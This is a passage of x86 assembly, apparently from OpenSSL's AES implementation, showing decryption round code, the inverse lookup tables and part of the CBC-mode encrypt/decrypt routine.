movzx ebx,BYTE [ebx*1+ebp-128]
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
or edx,ebx
shl esi,16
movzx eax,BYTE [eax*1+ebp-128]
or edx,esi
shl eax,24
or ecx,eax
mov edi,DWORD [20+esp]
movd mm4,edx
movd mm5,ecx
punpckldq mm4,mm5
add edi,16
cmp edi,DWORD [24+esp]
ja NEAR L$008out
movq mm3,mm0
movq mm7,mm4
pshufw mm2,mm0,228
pshufw mm6,mm4,228
movq mm1,mm0
movq mm5,mm4
pshufw mm0,mm0,177
pshufw mm4,mm4,177
pslld mm2,8
pslld mm6,8
psrld mm3,8
psrld mm7,8
pxor mm0,mm2
pxor mm4,mm6
pxor mm0,mm3
pxor mm4,mm7
pslld mm2,16
pslld mm6,16
psrld mm3,16
psrld mm7,16
pxor mm0,mm2
pxor mm4,mm6
pxor mm0,mm3
pxor mm4,mm7
movq mm3,[8+esp]
pxor mm2,mm2
pxor mm6,mm6
pcmpgtb mm2,mm1
pcmpgtb mm6,mm5
pand mm2,mm3
pand mm6,mm3
paddb mm1,mm1
paddb mm5,mm5
pxor mm1,mm2
pxor mm5,mm6
movq mm3,mm1
movq mm7,mm5
movq mm2,mm1
movq mm6,mm5
pxor mm0,mm1
pxor mm4,mm5
pslld mm3,24
pslld mm7,24
psrld mm2,8
psrld mm6,8
pxor mm0,mm3
pxor mm4,mm7
pxor mm0,mm2
pxor mm4,mm6
movq mm2,[8+esp]
pxor mm3,mm3
pxor mm7,mm7
pcmpgtb mm3,mm1
pcmpgtb mm7,mm5
pand mm3,mm2
pand mm7,mm2
paddb mm1,mm1
paddb mm5,mm5
pxor mm1,mm3
pxor mm5,mm7
pshufw mm3,mm1,177
pshufw mm7,mm5,177
pxor mm0,mm1
pxor mm4,mm5
pxor mm0,mm3
pxor mm4,mm7
pxor mm3,mm3
pxor mm7,mm7
pcmpgtb mm3,mm1
pcmpgtb mm7,mm5
pand mm3,mm2
pand mm7,mm2
paddb mm1,mm1
paddb mm5,mm5
pxor mm1,mm3
pxor mm5,mm7
pxor mm0,mm1
pxor mm4,mm5
movq mm3,mm1
movq mm7,mm5
pshufw mm2,mm1,177
pshufw mm6,mm5,177
pxor mm0,mm2
pxor mm4,mm6
pslld mm1,8
pslld mm5,8
psrld mm3,8
psrld mm7,8
movq mm2,[edi]
movq mm6,[8+edi]
pxor mm0,mm1
pxor mm4,mm5
pxor mm0,mm3
pxor mm4,mm7
mov eax,DWORD [ebp-128]
pslld mm1,16
pslld mm5,16
mov ebx,DWORD [ebp-64]
psrld mm3,16
psrld mm7,16
mov ecx,DWORD [ebp]
pxor mm0,mm1
pxor mm4,mm5
mov edx,DWORD [64+ebp]
pxor mm0,mm3
pxor mm4,mm7
pxor mm0,mm2
pxor mm4,mm6
jmp NEAR L$007loop
align 16
L$008out:
pxor mm0,[edi]
pxor mm4,[8+edi]
ret
align 16
__x86_AES_decrypt:
mov DWORD [20+esp],edi
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [24+esp],esi
align 16
L$009loop:
mov esi,eax
and esi,255
mov esi,DWORD [esi*8+ebp]
movzx edi,dh
xor esi,DWORD [3+edi*8+ebp]
mov edi,ecx
shr edi,16
and edi,255
xor esi,DWORD [2+edi*8+ebp]
mov edi,ebx
shr edi,24
xor esi,DWORD [1+edi*8+ebp]
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
mov esi,DWORD [esi*8+ebp]
movzx edi,ah
xor esi,DWORD [3+edi*8+ebp]
mov edi,edx
shr edi,16
and edi,255
xor esi,DWORD [2+edi*8+ebp]
mov edi,ecx
shr edi,24
xor esi,DWORD [1+edi*8+ebp]
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
mov esi,DWORD [esi*8+ebp]
movzx edi,bh
xor esi,DWORD [3+edi*8+ebp]
mov edi,eax
shr edi,16
and edi,255
xor esi,DWORD [2+edi*8+ebp]
mov edi,edx
shr edi,24
xor esi,DWORD [1+edi*8+ebp]
mov edi,DWORD [20+esp]
and edx,255
mov edx,DWORD [edx*8+ebp]
movzx ecx,ch
xor edx,DWORD [3+ecx*8+ebp]
mov ecx,esi
shr ebx,16
and ebx,255
xor edx,DWORD [2+ebx*8+ebp]
mov ebx,DWORD [8+esp]
shr eax,24
xor edx,DWORD [1+eax*8+ebp]
mov eax,DWORD [4+esp]
add edi,16
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
cmp edi,DWORD [24+esp]
mov DWORD [20+esp],edi
jb NEAR L$009loop
lea ebp,[2176+ebp]
mov edi,DWORD [ebp-128]
mov esi,DWORD [ebp-96]
mov edi,DWORD [ebp-64]
mov esi,DWORD [ebp-32]
mov edi,DWORD [ebp]
mov esi,DWORD [32+ebp]
mov edi,DWORD [64+ebp]
mov esi,DWORD [96+ebp]
lea ebp,[ebp-128]
mov esi,eax
and esi,255
movzx esi,BYTE [esi*1+ebp]
movzx edi,dh
movzx edi,BYTE [edi*1+ebp]
shl edi,8
xor esi,edi
mov edi,ecx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp]
shl edi,16
xor esi,edi
mov edi,ebx
shr edi,24
movzx edi,BYTE [edi*1+ebp]
shl edi,24
xor esi,edi
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
movzx esi,BYTE [esi*1+ebp]
movzx edi,ah
movzx edi,BYTE [edi*1+ebp]
shl edi,8
xor esi,edi
mov edi,edx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp]
shl edi,16
xor esi,edi
mov edi,ecx
shr edi,24
movzx edi,BYTE [edi*1+ebp]
shl edi,24
xor esi,edi
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
movzx esi,BYTE [esi*1+ebp]
movzx edi,bh
movzx edi,BYTE [edi*1+ebp]
shl edi,8
xor esi,edi
mov edi,eax
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp]
shl edi,16
xor esi,edi
mov edi,edx
shr edi,24
movzx edi,BYTE [edi*1+ebp]
shl edi,24
xor esi,edi
mov edi,DWORD [20+esp]
and edx,255
movzx edx,BYTE [edx*1+ebp]
movzx ecx,ch
movzx ecx,BYTE [ecx*1+ebp]
shl ecx,8
xor edx,ecx
mov ecx,esi
shr ebx,16
and ebx,255
movzx ebx,BYTE [ebx*1+ebp]
shl ebx,16
xor edx,ebx
mov ebx,DWORD [8+esp]
shr eax,24
movzx eax,BYTE [eax*1+ebp]
shl eax,24
xor edx,eax
mov eax,DWORD [4+esp]
lea ebp,[ebp-2048]
add edi,16
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
ret
align 64
L$AES_Td:
dd 1353184337,1353184337
dd 1399144830,1399144830
dd 3282310938,3282310938
dd 2522752826,2522752826
dd 3412831035,3412831035
dd 4047871263,4047871263
dd 2874735276,2874735276
dd 2466505547,2466505547
dd 1442459680,1442459680
dd 4134368941,4134368941
dd 2440481928,2440481928
dd 625738485,625738485
dd 4242007375,4242007375
dd 3620416197,3620416197
dd 2151953702,2151953702
dd 2409849525,2409849525
dd 1230680542,1230680542
dd 1729870373,1729870373
dd 2551114309,2551114309
dd 3787521629,3787521629
dd 41234371,41234371
dd 317738113,317738113
dd 2744600205,2744600205
dd 3338261355,3338261355
dd 3881799427,3881799427
dd 2510066197,2510066197
dd 3950669247,3950669247
dd 3663286933,3663286933
dd 763608788,763608788
dd 3542185048,3542185048
dd 694804553,694804553
dd 1154009486,1154009486
dd 1787413109,1787413109
dd 2021232372,2021232372
dd 1799248025,1799248025
dd 3715217703,3715217703
dd 3058688446,3058688446
dd 397248752,397248752
dd 1722556617,1722556617
dd 3023752829,3023752829
dd 407560035,407560035
dd 2184256229,2184256229
dd 1613975959,1613975959
dd 1165972322,1165972322
dd 3765920945,3765920945
dd 2226023355,2226023355
dd 480281086,480281086
dd 2485848313,2485848313
dd 1483229296,1483229296
dd 436028815,436028815
dd 2272059028,2272059028
dd 3086515026,3086515026
dd 601060267,601060267
dd 3791801202,3791801202
dd 1468997603,1468997603
dd 715871590,715871590
dd 120122290,120122290
dd 63092015,63092015
dd 2591802758,2591802758
dd 2768779219,2768779219
dd 4068943920,4068943920
dd 2997206819,2997206819
dd 3127509762,3127509762
dd 1552029421,1552029421
dd 723308426,723308426
dd 2461301159,2461301159
dd 4042393587,4042393587
dd 2715969870,2715969870
dd 3455375973,3455375973
dd 3586000134,3586000134
dd 526529745,526529745
dd 2331944644,2331944644
dd 2639474228,2639474228
dd 2689987490,2689987490
dd 853641733,853641733
dd 1978398372,1978398372
dd 971801355,971801355
dd 2867814464,2867814464
dd 111112542,111112542
dd 1360031421,1360031421
dd 4186579262,4186579262
dd 1023860118,1023860118
dd 2919579357,2919579357
dd 1186850381,1186850381
dd 3045938321,3045938321
dd 90031217,90031217
dd 1876166148,1876166148
dd 4279586912,4279586912
dd 620468249,620468249
dd 2548678102,2548678102
dd 3426959497,3426959497
dd 2006899047,2006899047
dd 3175278768,3175278768
dd 2290845959,2290845959
dd 945494503,945494503
dd 3689859193,3689859193
dd 1191869601,1191869601
dd 3910091388,3910091388
dd 3374220536,3374220536
dd 0,0
dd 2206629897,2206629897
dd 1223502642,1223502642
dd 2893025566,2893025566
dd 1316117100,1316117100
dd 4227796733,4227796733
dd 1446544655,1446544655
dd 517320253,517320253
dd 658058550,658058550
dd 1691946762,1691946762
dd 564550760,564550760
dd 3511966619,3511966619
dd 976107044,976107044
dd 2976320012,2976320012
dd 266819475,266819475
dd 3533106868,3533106868
dd 2660342555,2660342555
dd 1338359936,1338359936
dd 2720062561,2720062561
dd 1766553434,1766553434
dd 370807324,370807324
dd 179999714,179999714
dd 3844776128,3844776128
dd 1138762300,1138762300
dd 488053522,488053522
dd 185403662,185403662
dd 2915535858,2915535858
dd 3114841645,3114841645
dd 3366526484,3366526484
dd 2233069911,2233069911
dd 1275557295,1275557295
dd 3151862254,3151862254
dd 4250959779,4250959779
dd 2670068215,2670068215
dd 3170202204,3170202204
dd 3309004356,3309004356
dd 880737115,880737115
dd 1982415755,1982415755
dd 3703972811,3703972811
dd 1761406390,1761406390
dd 1676797112,1676797112
dd 3403428311,3403428311
dd 277177154,277177154
dd 1076008723,1076008723
dd 538035844,538035844
dd 2099530373,2099530373
dd 4164795346,4164795346
dd 288553390,288553390
dd 1839278535,1839278535
dd 1261411869,1261411869
dd 4080055004,4080055004
dd 3964831245,3964831245
dd 3504587127,3504587127
dd 1813426987,1813426987
dd 2579067049,2579067049
dd 4199060497,4199060497
dd 577038663,577038663
dd 3297574056,3297574056
dd 440397984,440397984
dd 3626794326,3626794326
dd 4019204898,4019204898
dd 3343796615,3343796615
dd 3251714265,3251714265
dd 4272081548,4272081548
dd 906744984,906744984
dd 3481400742,3481400742
dd 685669029,685669029
dd 646887386,646887386
dd 2764025151,2764025151
dd 3835509292,3835509292
dd 227702864,227702864
dd 2613862250,2613862250
dd 1648787028,1648787028
dd 3256061430,3256061430
dd 3904428176,3904428176
dd 1593260334,1593260334
dd 4121936770,4121936770
dd 3196083615,3196083615
dd 2090061929,2090061929
dd 2838353263,2838353263
dd 3004310991,3004310991
dd 999926984,999926984
dd 2809993232,2809993232
dd 1852021992,1852021992
dd 2075868123,2075868123
dd 158869197,158869197
dd 4095236462,4095236462
dd 28809964,28809964
dd 2828685187,2828685187
dd 1701746150,1701746150
dd 2129067946,2129067946
dd 147831841,147831841
dd 3873969647,3873969647
dd 3650873274,3650873274
dd 3459673930,3459673930
dd 3557400554,3557400554
dd 3598495785,3598495785
dd 2947720241,2947720241
dd 824393514,824393514
dd 815048134,815048134
dd 3227951669,3227951669
dd 935087732,935087732
dd 2798289660,2798289660
dd 2966458592,2966458592
dd 366520115,366520115
dd 1251476721,1251476721
dd 4158319681,4158319681
dd 240176511,240176511
dd 804688151,804688151
dd 2379631990,2379631990
dd 1303441219,1303441219
dd 1414376140,1414376140
dd 3741619940,3741619940
dd 3820343710,3820343710
dd 461924940,461924940
dd 3089050817,3089050817
dd 2136040774,2136040774
dd 82468509,82468509
dd 1563790337,1563790337
dd 1937016826,1937016826
dd 776014843,776014843
dd 1511876531,1511876531
dd 1389550482,1389550482
dd 861278441,861278441
dd 323475053,323475053
dd 2355222426,2355222426
dd 2047648055,2047648055
dd 2383738969,2383738969
dd 2302415851,2302415851
dd 3995576782,3995576782
dd 902390199,902390199
dd 3991215329,3991215329
dd 1018251130,1018251130
dd 1507840668,1507840668
dd 1064563285,1064563285
dd 2043548696,2043548696
dd 3208103795,3208103795
dd 3939366739,3939366739
dd 1537932639,1537932639
dd 342834655,342834655
dd 2262516856,2262516856
dd 2180231114,2180231114
dd 1053059257,1053059257
dd 741614648,741614648
dd 1598071746,1598071746
dd 1925389590,1925389590
dd 203809468,203809468
dd 2336832552,2336832552
dd 1100287487,1100287487
dd 1895934009,1895934009
dd 3736275976,3736275976
dd 2632234200,2632234200
dd 2428589668,2428589668
dd 1636092795,1636092795
dd 1890988757,1890988757
dd 1952214088,1952214088
dd 1113045200,1113045200
db 82,9,106,213,48,54,165,56
db 191,64,163,158,129,243,215,251
db 124,227,57,130,155,47,255,135
db 52,142,67,68,196,222,233,203
db 84,123,148,50,166,194,35,61
db 238,76,149,11,66,250,195,78
db 8,46,161,102,40,217,36,178
db 118,91,162,73,109,139,209,37
db 114,248,246,100,134,104,152,22
db 212,164,92,204,93,101,182,146
db 108,112,72,80,253,237,185,218
db 94,21,70,87,167,141,157,132
db 144,216,171,0,140,188,211,10
db 247,228,88,5,184,179,69,6
db 208,44,30,143,202,63,15,2
db 193,175,189,3,1,19,138,107
db 58,145,17,65,79,103,220,234
db 151,242,207,206,240,180,230,115
db 150,172,116,34,231,173,53,133
db 226,249,55,232,28,117,223,110
db 71,241,26,113,29,41,197,137
db 111,183,98,14,170,24,190,27
db 252,86,62,75,198,210,121,32
db 154,219,192,254,120,205,90,244
db 31,221,168,51,136,7,199,49
db 177,18,16,89,39,128,236,95
db 96,81,127,169,25,181,74,13
db 45,229,122,159,147,201,156,239
db 160,224,59,77,174,42,245,176
db 200,235,187,60,131,83,153,97
db 23,43,4,126,186,119,214,38
db 225,105,20,99,85,33,12,125
db 82,9,106,213,48,54,165,56
db 191,64,163,158,129,243,215,251
db 124,227,57,130,155,47,255,135
db 52,142,67,68,196,222,233,203
db 84,123,148,50,166,194,35,61
db 238,76,149,11,66,250,195,78
db 8,46,161,102,40,217,36,178
db 118,91,162,73,109,139,209,37
db 114,248,246,100,134,104,152,22
db 212,164,92,204,93,101,182,146
db 108,112,72,80,253,237,185,218
db 94,21,70,87,167,141,157,132
db 144,216,171,0,140,188,211,10
db 247,228,88,5,184,179,69,6
db 208,44,30,143,202,63,15,2
db 193,175,189,3,1,19,138,107
db 58,145,17,65,79,103,220,234
db 151,242,207,206,240,180,230,115
db 150,172,116,34,231,173,53,133
db 226,249,55,232,28,117,223,110
db 71,241,26,113,29,41,197,137
db 111,183,98,14,170,24,190,27
db 252,86,62,75,198,210,121,32
db 154,219,192,254,120,205,90,244
db 31,221,168,51,136,7,199,49
db 177,18,16,89,39,128,236,95
db 96,81,127,169,25,181,74,13
db 45,229,122,159,147,201,156,239
db 160,224,59,77,174,42,245,176
db 200,235,187,60,131,83,153,97
db 23,43,4,126,186,119,214,38
db 225,105,20,99,85,33,12,125
db 82,9,106,213,48,54,165,56
db 191,64,163,158,129,243,215,251
db 124,227,57,130,155,47,255,135
db 52,142,67,68,196,222,233,203
db 84,123,148,50,166,194,35,61
db 238,76,149,11,66,250,195,78
db 8,46,161,102,40,217,36,178
db 118,91,162,73,109,139,209,37
db 114,248,246,100,134,104,152,22
db 212,164,92,204,93,101,182,146
db 108,112,72,80,253,237,185,218
db 94,21,70,87,167,141,157,132
db 144,216,171,0,140,188,211,10
db 247,228,88,5,184,179,69,6
db 208,44,30,143,202,63,15,2
db 193,175,189,3,1,19,138,107
db 58,145,17,65,79,103,220,234
db 151,242,207,206,240,180,230,115
db 150,172,116,34,231,173,53,133
db 226,249,55,232,28,117,223,110
db 71,241,26,113,29,41,197,137
db 111,183,98,14,170,24,190,27
db 252,86,62,75,198,210,121,32
db 154,219,192,254,120,205,90,244
db 31,221,168,51,136,7,199,49
db 177,18,16,89,39,128,236,95
db 96,81,127,169,25,181,74,13
db 45,229,122,159,147,201,156,239
db 160,224,59,77,174,42,245,176
db 200,235,187,60,131,83,153,97
db 23,43,4,126,186,119,214,38
db 225,105,20,99,85,33,12,125
db 82,9,106,213,48,54,165,56
db 191,64,163,158,129,243,215,251
db 124,227,57,130,155,47,255,135
db 52,142,67,68,196,222,233,203
db 84,123,148,50,166,194,35,61
db 238,76,149,11,66,250,195,78
db 8,46,161,102,40,217,36,178
db 118,91,162,73,109,139,209,37
db 114,248,246,100,134,104,152,22
db 212,164,92,204,93,101,182,146
db 108,112,72,80,253,237,185,218
db 94,21,70,87,167,141,157,132
db 144,216,171,0,140,188,211,10
db 247,228,88,5,184,179,69,6
db 208,44,30,143,202,63,15,2
db 193,175,189,3,1,19,138,107
db 58,145,17,65,79,103,220,234
db 151,242,207,206,240,180,230,115
db 150,172,116,34,231,173,53,133
db 226,249,55,232,28,117,223,110
db 71,241,26,113,29,41,197,137
db 111,183,98,14,170,24,190,27
db 252,86,62,75,198,210,121,32
db 154,219,192,254,120,205,90,244
db 31,221,168,51,136,7,199,49
db 177,18,16,89,39,128,236,95
db 96,81,127,169,25,181,74,13
db 45,229,122,159,147,201,156,239
db 160,224,59,77,174,42,245,176
db 200,235,187,60,131,83,153,97
db 23,43,4,126,186,119,214,38
db 225,105,20,99,85,33,12,125
global _AES_decrypt
align 16
_AES_decrypt:
L$_AES_decrypt_begin:
push ebp
push ebx
push esi
push edi
mov esi,DWORD [20+esp]
mov edi,DWORD [28+esp]
mov eax,esp
sub esp,36
and esp,-64
lea ebx,[edi-127]
sub ebx,esp
neg ebx
and ebx,960
sub esp,ebx
add esp,4
mov DWORD [28+esp],eax
call L$010pic_point
L$010pic_point:
pop ebp
lea eax,[_OPENSSL_ia32cap_P]
lea ebp,[(L$AES_Td-L$010pic_point)+ebp]
lea ebx,[764+esp]
sub ebx,ebp
and ebx,768
lea ebp,[2176+ebx*1+ebp]
bt DWORD [eax],25
jnc NEAR L$011x86
movq mm0,[esi]
movq mm4,[8+esi]
call __sse_AES_decrypt_compact
mov esp,DWORD [28+esp]
mov esi,DWORD [24+esp]
movq [esi],mm0
movq [8+esi],mm4
emms
pop edi
pop esi
pop ebx
pop ebp
ret
align 16
L$011x86:
mov DWORD [24+esp],ebp
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
call __x86_AES_decrypt_compact
mov esp,DWORD [28+esp]
mov esi,DWORD [24+esp]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
pop edi
pop esi
pop ebx
pop ebp
ret
global _AES_cbc_encrypt
align 16
_AES_cbc_encrypt:
L$_AES_cbc_encrypt_begin:
push ebp
push ebx
push esi
push edi
mov ecx,DWORD [28+esp]
cmp ecx,0
je NEAR L$012drop_out
call L$013pic_point
L$013pic_point:
pop ebp
lea eax,[_OPENSSL_ia32cap_P]
cmp DWORD [40+esp],0
lea ebp,[(L$AES_Te-L$013pic_point)+ebp]
jne NEAR L$014picked_te
lea ebp,[(L$AES_Td-L$AES_Te)+ebp]
L$014picked_te:
pushfd
cld
cmp ecx,512
jb NEAR L$015slow_way
test ecx,15
jnz NEAR L$015slow_way
bt DWORD [eax],28
jc NEAR L$015slow_way
lea esi,[esp-324]
and esi,-64
mov eax,ebp
lea ebx,[2304+ebp]
mov edx,esi
and eax,4095
and ebx,4095
and edx,4095
cmp edx,ebx
jb NEAR L$016tbl_break_out
sub edx,ebx
sub esi,edx
jmp NEAR L$017tbl_ok
align 4
L$016tbl_break_out:
sub edx,eax
and edx,4095
add edx,384
sub esi,edx
align 4
L$017tbl_ok:
lea edx,[24+esp]
xchg esp,esi
add esp,4
mov DWORD [24+esp],ebp
mov DWORD [28+esp],esi
mov eax,DWORD [edx]
mov ebx,DWORD [4+edx]
mov edi,DWORD [12+edx]
mov esi,DWORD [16+edx]
mov edx,DWORD [20+edx]
mov DWORD [32+esp],eax
mov DWORD [36+esp],ebx
mov DWORD [40+esp],ecx
mov DWORD [44+esp],edi
mov DWORD [48+esp],esi
mov DWORD [316+esp],0
mov ebx,edi
mov ecx,61
sub ebx,ebp
mov esi,edi
and ebx,4095
lea edi,[76+esp]
cmp ebx,2304
jb NEAR L$018do_copy
cmp ebx,3852
jb NEAR L$019skip_copy
align 4
L$018do_copy:
mov DWORD [44+esp],edi
dd 2784229001
L$019skip_copy:
mov edi,16
align 4
L$020prefetch_tbl:
mov eax,DWORD [ebp]
mov ebx,DWORD [32+ebp]
mov ecx,DWORD [64+ebp]
mov esi,DWORD [96+ebp]
lea ebp,[128+ebp]
sub edi,1
jnz NEAR L$020prefetch_tbl
sub ebp,2048
mov esi,DWORD [32+esp]
mov edi,DWORD [48+esp]
cmp edx,0
je NEAR L$021fast_decrypt
mov eax,DWORD [edi]
mov ebx,DWORD [4+edi]
align 16
L$022fast_enc_loop:
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
xor eax,DWORD [esi]
xor ebx,DWORD [4+esi]
xor ecx,DWORD [8+esi]
xor edx,DWORD [12+esi]
mov edi,DWORD [44+esp]
call __x86_AES_encrypt
mov esi,DWORD [32+esp]
mov edi,DWORD [36+esp]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
lea esi,[16+esi]
mov ecx,DWORD [40+esp]
mov DWORD [32+esp],esi
lea edx,[16+edi]
mov DWORD [36+esp],edx
sub ecx,16
mov DWORD [40+esp],ecx
jnz NEAR L$022fast_enc_loop
mov esi,DWORD [48+esp]
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
cmp DWORD [316+esp],0
mov edi,DWORD [44+esp]
je NEAR L$023skip_ezero
mov ecx,60
xor eax,eax
align 4
dd 2884892297
L$023skip_ezero:
mov esp,DWORD [28+esp]
popfd
L$012drop_out:
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$021fast_decrypt:
cmp esi,DWORD [36+esp]
je NEAR L$024fast_dec_in_place
mov DWORD [52+esp],edi
align 4
align 16
L$025fast_dec_loop:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov edi,DWORD [44+esp]
call __x86_AES_decrypt
mov edi,DWORD [52+esp]
mov esi,DWORD [40+esp]
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
mov edi,DWORD [36+esp]
mov esi,DWORD [32+esp]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov ecx,DWORD [40+esp]
mov DWORD [52+esp],esi
lea esi,[16+esi]
mov DWORD [32+esp],esi
lea edi,[16+edi]
mov DWORD [36+esp],edi
sub ecx,16
mov DWORD [40+esp],ecx
jnz NEAR L$025fast_dec_loop
mov edi,DWORD [52+esp]
mov esi,DWORD [48+esp]
mov eax,DWORD [edi]
mov ebx,DWORD [4+edi]
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
jmp NEAR L$026fast_dec_out
align 16
L$024fast_dec_in_place:
L$027fast_dec_in_place_loop:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
lea edi,[60+esp]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov edi,DWORD [44+esp]
call __x86_AES_decrypt
mov edi,DWORD [48+esp]
mov esi,DWORD [36+esp]
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
lea esi,[16+esi]
mov DWORD [36+esp],esi
lea esi,[60+esp]
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov esi,DWORD [32+esp]
mov ecx,DWORD [40+esp]
lea esi,[16+esi]
mov DWORD [32+esp],esi
sub ecx,16
mov DWORD [40+esp],ecx
jnz NEAR L$027fast_dec_in_place_loop
align 4
L$026fast_dec_out:
cmp DWORD [316+esp],0
mov edi,DWORD [44+esp]
je NEAR L$028skip_dzero
mov ecx,60
xor eax,eax
align 4
dd 2884892297
L$028skip_dzero:
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$015slow_way:
mov eax,DWORD [eax]
mov edi,DWORD [36+esp]
lea esi,[esp-80]
and esi,-64
lea ebx,[edi-143]
sub ebx,esi
neg ebx
and ebx,960
sub esi,ebx
lea ebx,[768+esi]
sub ebx,ebp
and ebx,768
lea ebp,[2176+ebx*1+ebp]
lea edx,[24+esp]
xchg esp,esi
add esp,4
mov DWORD [24+esp],ebp
mov DWORD [28+esp],esi
mov DWORD [52+esp],eax
mov eax,DWORD [edx]
mov ebx,DWORD [4+edx]
mov esi,DWORD [16+edx]
mov edx,DWORD [20+edx]
mov DWORD [32+esp],eax
mov DWORD [36+esp],ebx
mov DWORD [40+esp],ecx
mov DWORD [44+esp],edi
mov DWORD [48+esp],esi
mov edi,esi
mov esi,eax
cmp edx,0
je NEAR L$029slow_decrypt
cmp ecx,16
mov edx,ebx
jb NEAR L$030slow_enc_tail
bt DWORD [52+esp],25
jnc NEAR L$031slow_enc_x86
movq mm0,[edi]
movq mm4,[8+edi]
align 16
L$032slow_enc_loop_sse:
pxor mm0,[esi]
pxor mm4,[8+esi]
mov edi,DWORD [44+esp]
call __sse_AES_encrypt_compact
mov esi,DWORD [32+esp]
mov edi,DWORD [36+esp]
mov ecx,DWORD [40+esp]
movq [edi],mm0
movq [8+edi],mm4
lea esi,[16+esi]
mov DWORD [32+esp],esi
lea edx,[16+edi]
mov DWORD [36+esp],edx
sub ecx,16
cmp ecx,16
mov DWORD [40+esp],ecx
jae NEAR L$032slow_enc_loop_sse
test ecx,15
jnz NEAR L$030slow_enc_tail
mov esi,DWORD [48+esp]
movq [esi],mm0
movq [8+esi],mm4
emms
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$031slow_enc_x86:
mov eax,DWORD [edi]
mov ebx,DWORD [4+edi]
align 4
L$033slow_enc_loop_x86:
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
xor eax,DWORD [esi]
xor ebx,DWORD [4+esi]
xor ecx,DWORD [8+esi]
xor edx,DWORD [12+esi]
mov edi,DWORD [44+esp]
call __x86_AES_encrypt_compact
mov esi,DWORD [32+esp]
mov edi,DWORD [36+esp]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov ecx,DWORD [40+esp]
lea esi,[16+esi]
mov DWORD [32+esp],esi
lea edx,[16+edi]
mov DWORD [36+esp],edx
sub ecx,16
cmp ecx,16
mov DWORD [40+esp],ecx
jae NEAR L$033slow_enc_loop_x86
test ecx,15
jnz NEAR L$030slow_enc_tail
mov esi,DWORD [48+esp]
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$030slow_enc_tail:
emms
mov edi,edx
mov ebx,16
sub ebx,ecx
cmp edi,esi
je NEAR L$034enc_in_place
align 4
dd 2767451785
jmp NEAR L$035enc_skip_in_place
L$034enc_in_place:
lea edi,[ecx*1+edi]
L$035enc_skip_in_place:
mov ecx,ebx
xor eax,eax
align 4
dd 2868115081
mov edi,DWORD [48+esp]
mov esi,edx
mov eax,DWORD [edi]
mov ebx,DWORD [4+edi]
mov DWORD [40+esp],16
jmp NEAR L$033slow_enc_loop_x86
align 16
L$029slow_decrypt:
bt DWORD [52+esp],25
jnc NEAR L$036slow_dec_loop_x86
align 4
L$037slow_dec_loop_sse:
movq mm0,[esi]
movq mm4,[8+esi]
mov edi,DWORD [44+esp]
call __sse_AES_decrypt_compact
mov esi,DWORD [32+esp]
lea eax,[60+esp]
mov ebx,DWORD [36+esp]
mov ecx,DWORD [40+esp]
mov edi,DWORD [48+esp]
movq mm1,[esi]
movq mm5,[8+esi]
pxor mm0,[edi]
pxor mm4,[8+edi]
movq [edi],mm1
movq [8+edi],mm5
sub ecx,16
jc NEAR L$038slow_dec_partial_sse
movq [ebx],mm0
movq [8+ebx],mm4
lea ebx,[16+ebx]
mov DWORD [36+esp],ebx
lea esi,[16+esi]
mov DWORD [32+esp],esi
